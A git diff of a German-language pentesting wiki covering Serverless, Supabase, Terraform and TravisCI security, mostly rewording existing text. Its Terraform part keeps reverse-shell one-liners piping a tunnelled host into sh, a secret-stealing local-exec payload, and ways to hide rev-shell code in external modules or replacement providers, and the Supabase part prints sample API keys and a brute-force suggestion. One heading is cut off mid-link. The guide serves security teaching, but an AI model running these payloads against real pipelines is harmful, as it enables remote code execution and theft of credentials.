'Interner Serverfehler' }), ``` - **Zentralisierte Fehlerbehandlung:** Verwalten und sanitieren Sie Fehler konsistent über alle Funktionen hinweg. -- **Fehler überwachen und protokollieren:** Verfolgen und analysieren Sie Fehler intern, ohne Details an Endbenutzer offenzulegen. +- **Überwachen und Protokollieren von Fehlern:** Verfolgen und analysieren Sie Fehler intern, ohne Details für Endbenutzer offenzulegen. --- -### **Unsichere Bereitstellungsmethoden** +### **Unsichere Bereitstellung Praktiken** Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pipelines können zu böswilligen Codebereitstellungen oder Fehlkonfigurationen führen. @@ -748,8 +748,8 @@ Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pi - **Sichere CI/CD-Pipelines:** Implementieren Sie strenge Zugriffskontrollen, Multi-Faktor-Authentifizierung (MFA) und regelmäßige Audits. - **Konfiguration sicher speichern:** Halten Sie Bereitstellungsdateien frei von hardcodierten Geheimnissen und sensiblen Daten. -- **Verwenden Sie Sicherheitswerkzeuge für Infrastructure as Code (IaC):** Setzen Sie Tools wie **Checkov** oder **Terraform Sentinel** ein, um Sicherheitsrichtlinien durchzusetzen. -- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken der unveränderlichen Infrastruktur übernehmen. +- **Verwenden Sie Sicherheitswerkzeuge für Infrastruktur als Code (IaC):** Verwenden Sie Tools wie **Checkov** oder **Terraform Sentinel**, um Sicherheitsrichtlinien durchzusetzen. +- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken für unveränderliche Infrastruktur übernehmen. --- @@ -761,8 +761,8 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann - **Plugins gründlich prüfen:** Bewerten Sie die Sicherheit von Plugins vor der Integration und bevorzugen Sie solche aus seriösen Quellen. - **Verwendung von Plugins einschränken:** Verwenden Sie nur notwendige Plugins, um die Angriffsfläche zu minimieren. -- **Plugin-Updates überwachen:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren. -- **Plugin-Umgebungen isolieren:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen. +- **Überwachen Sie Plugin-Updates:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren. +- **Isolieren Sie Plugin-Umgebungen:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen. --- @@ -775,7 +775,7 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann - **Zugriff auf Funktionen einschränken:** Verwenden Sie VPCs, Sicherheitsgruppen und Firewall-Regeln, um den Zugriff auf vertrauenswürdige Quellen zu beschränken. - **Robuste Authentifizierung implementieren:** Stellen Sie sicher, dass alle exponierten Endpunkte eine ordnungsgemäße Authentifizierung und Autorisierung erfordern. - **API-Gateways sicher verwenden:** Konfigurieren Sie API-Gateways, um Sicherheitsrichtlinien durchzusetzen, einschließlich Eingangsvalidierung und Ratenbegrenzung. -- **Nicht verwendete Endpunkte deaktivieren:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden. +- **Deaktivieren Sie ungenutzte Endpunkte:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden. --- @@ -794,14 +794,14 @@ Das Gewähren übermäßiger Berechtigungen an Teammitglieder und externe Mitarb **Zugriffsschlüssel** und **Lizenzschlüssel** sind kritische Anmeldeinformationen, die zur Authentifizierung und Autorisierung von Interaktionen mit der Serverless Framework CLI verwendet werden. - **Lizenzschlüssel:** Sie sind eindeutige Identifikatoren, die für die Authentifizierung des Zugriffs auf die Serverless Framework Version 4 erforderlich sind, die eine Anmeldung über die CLI ermöglicht. -- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit der `serverless`-CLI wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen. +- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit `serverless` cli wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen. #### **Sicherheitsrisiken** 1. **Offenlegung durch Code-Repositories:** - Hardcoding oder versehentliches Committen von Zugriffsschlüsseln und Lizenzschlüsseln in Versionskontrollsysteme kann zu unbefugtem Zugriff führen. 2. **Unsichere Speicherung:** -- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit einer Offenlegung. +- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit eines Lecks. 3. **Unsachgemäße Verteilung:** - Das Teilen von Schlüsseln über unsichere Kanäle (z. B. E-Mail, Chat) kann zu einer Abfangung durch böswillige Akteure führen. 4. **Mangelnde Rotation:** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 3bbd3e09b..baa45d79d 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -4,7 +4,7 @@ ## Grundinformationen -Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Einbettungen. +Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Embeddings. ### Subdomain @@ -18,7 +18,7 @@ Im Grunde erhält der Benutzer, wenn ein Projekt erstellt wird, eine supabase.co Diese **Datenbank** wird in einer AWS-Region bereitgestellt, und um eine Verbindung herzustellen, wäre es möglich, sich zu verbinden: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dies wurde in us-west-1 erstellt).\ Das Passwort ist ein **Passwort, das der Benutzer zuvor eingegeben hat**. -Daher, da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, zu versuchen, das **Passwort zu brute-forcen**. +Da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, das **Passwort zu brute-forcen**. Dieser Abschnitt enthält auch Optionen zum: @@ -37,9 +37,9 @@ Die URL zum Zugriff auf die Supabase-API in Ihrem Projekt wird wie folgt aussehe ### anon API-Schlüssel -Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren. +Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren. -Es ist möglich, die API REST zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären: +Es ist möglich, die REST-API zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:
@@ -99,7 +99,7 @@ Priority: u=1, i ```
-So, wann immer Sie einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**. +Wenn Sie also einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**. ### secret / service_role API-Schlüssel @@ -126,7 +126,7 @@ Das ist eine sehr schlechte Idee, da Supabase pro aktivem Benutzer Gebühren erh ### Passwörter & Sitzungen Es ist möglich, die minimale Passwortlänge anzugeben (standardmäßig), Anforderungen (standardmäßig keine) und die Verwendung von geleakten Passwörtern zu untersagen.\ -Es wird empfohlen, die **Anforderungen zu verbessern, da die Standardanforderungen schwach sind**. +Es wird empfohlen, die Anforderungen zu **verbessern, da die Standardanforderungen schwach sind**. - Benutzersitzungen: Es ist möglich zu konfigurieren, wie Benutzersitzungen funktionieren (Timeouts, 1 Sitzung pro Benutzer...) - Bot- und Missbrauchsschutz: Es ist möglich, Captcha zu aktivieren. @@ -137,19 +137,19 @@ Es ist möglich, ein SMTP einzurichten, um E-Mails zu senden. ### Erweiterte Einstellungen -- Ablaufzeit für Zugriffstoken festlegen (3600 standardmäßig) -- Festlegen, um potenziell kompromittierte Aktualisierungstoken zu erkennen und zu widerrufen sowie Timeout -- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (10 standardmäßig) -- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (10 standardmäßig) -- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (10s standardmäßig) +- Ablaufzeit für Zugriffstoken festlegen (standardmäßig 3600) +- Erkennen und Widerrufen potenziell kompromittierter Aktualisierungstoken und Timeout festlegen +- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (standardmäßig 10) +- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (standardmäßig 10) +- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (standardmäßig 10s) ## Speicherung > [!TIP] -> Supabase ermöglicht **das Speichern von Dateien** und macht sie über eine URL zugänglich (es verwendet S3-Buckets). +> Supabase ermöglicht **das Speichern von Dateien** und deren Zugriff über eine URL (es verwendet S3-Buckets). -- Legen Sie das Upload-Dateigrößenlimit fest (Standard ist 50 MB) -- Die S3-Verbindung wird mit einer URL wie folgt angegeben: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- Die Upload-Dateigrößenbeschränkung festlegen (standardmäßig 50 MB) +- Die S3-Verbindung wird mit einer URL wie folgt bereitgestellt: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` - Es ist möglich, **S3-Zugriffsschlüssel** anzufordern, die aus einer `access key ID` (z. B. `a37d96544d82ba90057e0e06131d0a7b`) und einem `secret access key` (z. B. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) bestehen ## Edge-Funktionen diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index e3bd676b0..70d0048ed 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Aus den Dokumenten:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Premise-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten. +HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochgradige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten. #### Wie funktioniert Terraform? @@ -14,11 +14,11 @@ Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Di ![](<../images/image (177).png>) -HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Alle öffentlich verfügbaren Anbieter finden Sie im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr. +HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr. -Der Kern-Workflow von Terraform besteht aus drei Phasen: +Der grundlegende Terraform-Workflow besteht aus drei Phasen: -- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen. +- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und -Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen. - **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird. - **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann. @@ -28,7 +28,7 @@ Der Kern-Workflow von Terraform besteht aus drei Phasen: Installieren Sie einfach Terraform auf Ihrem Computer. -Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads). +Hier haben Sie einen [Leitfaden](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads). ## RCE in Terraform @@ -36,7 +36,7 @@ Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** b Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert. -Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da diese irgendwann **interpretiert** werden. +Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden. Tatsächlich gibt es Lösungen, die **Terraform-Plan/Apply automatisch ausführen, nachdem ein PR** erstellt wurde, wie **Atlantis**: @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Verwendung eines benutzerdefinierten Anbieters** -Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Register](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)): +Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann zum Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -Der Provider wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird. +Der Anbieter wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird. -Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +Sie finden ein Beispiel unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) **Verwendung eines externen Verweises** Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen: -- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: +- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Du kannst den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden. +Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden. -- Verwende im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **Terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Du kannst es auch missbrauchen, um RCE zu erhalten, indem du **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizierst.**\ -Du musst nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet: +Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizieren.**\ +Sie müssen nur sicherstellen, dass eine Nutzlast wie die folgenden im `main.tf`-Datei endet: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen. +Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen. ## Secrets Dumps @@ -126,7 +126,7 @@ value = nonsensitive(var.do_token) Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet [**diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen: -### Ressourcen löschen +### Löschen von Ressourcen Es gibt 2 Möglichkeiten, Ressourcen zu zerstören: @@ -167,9 +167,9 @@ Es ist auch möglich, einen [benutzerdefinierten Anbieter](https://developer.has ] }, ``` -### Ersetzen des auf der Blacklist stehenden Providers +### Ersetzen des auf der Blacklist stehenden Anbieters -Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des External Providers, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. +Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. ```terraform terraform { required_providers { @@ -217,7 +217,7 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um die negative Testfähigkeit für Ihre Infrastruktur-as-Code zu ermöglichen. +Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um negative Testfähigkeiten für Ihre Infrastruktur-as-Code zu ermöglichen. - **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht. - **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC? @@ -227,34 +227,20 @@ Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp - **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist. > [!NOTE] -> Leider, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, können Sie den `terraform plan` nicht ausführen und dieses Tool nicht verwenden. +> Leider können Sie, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, den `terraform plan` nicht ausführen und dieses Tool nicht verwenden. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` -### [tfsec](https://github.com/aquasecurity/tfsec) - -Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen. - -- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern -- ⛔ Hunderte von integrierten Regeln -- 🪆 Scannt Module (lokal und remote) -- ➕ Bewertet HCL-Ausdrücke sowie literale Werte -- ↪️ Bewertet Terraform-Funktionen z.B. `concat()` -- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen -- 🧰 Kompatibel mit dem Terraform CDK -- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an -- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei) -- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen +### [tfsec ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Infrastrukturfehlkonfigurationen früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx. +Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx. **KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt. ```bash @@ -265,7 +251,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen: - Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen. -- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage. +- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Lage. - Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen. - Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird. - Bietet Flexibilität, lokal zu laufen oder in Ihre CI\CD zu integrieren. diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 47ee72151..ac89e2ad1 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## Was ist TravisCI -**Travis CI** ist ein **gehosteter** oder vor **Ort** **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden. +**Travis CI** ist ein **gehosteter** oder vor Ort **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden. {{#ref}} basic-travisci-information.md @@ -35,7 +35,7 @@ TravisCI deaktiviert standardmäßig das Teilen von Umgebungsvariablen mit PRs v ### Geheimnisse dumpen -Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden). +Wie auf der Seite [**grundlegende Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden). - Um **Geheimnisse** zu **enumerieren**, die als **Umgebungsvariablen** konfiguriert sind, gehen Sie zu den **Einstellungen** des **Projekts** und überprüfen Sie die Liste. Beachten Sie jedoch, dass alle hier festgelegten Projekt-Umgebungsvariablen erscheinen, wenn ein Build ausgelöst wird. - Um die **benutzerdefinierten verschlüsselten Geheimnisse** zu enumerieren, ist das Beste, was Sie tun können, die **`.travis.yml`-Datei** zu überprüfen. @@ -50,12 +50,12 @@ Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-informati ### TravisCI Enterprise -Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte zu: +Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte: -- zum Host entkommen? -- Kubernetes kompromittieren? -- andere Maschinen im selben Netzwerk kompromittieren? -- neue Cloud-Anmeldeinformationen kompromittieren? +- zum Host zu entkommen? +- Kubernetes zu kompromittieren? +- andere Maschinen im selben Netzwerk zu kompromittieren? +- neue Cloud-Anmeldeinformationen zu kompromittieren? ## Referenzen diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index e05891c4d..1d1e348b8 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,4 +1,4 @@ -# Grundlegende TravisCI Informationen +# Grundlegende TravisCI-Informationen {{#include 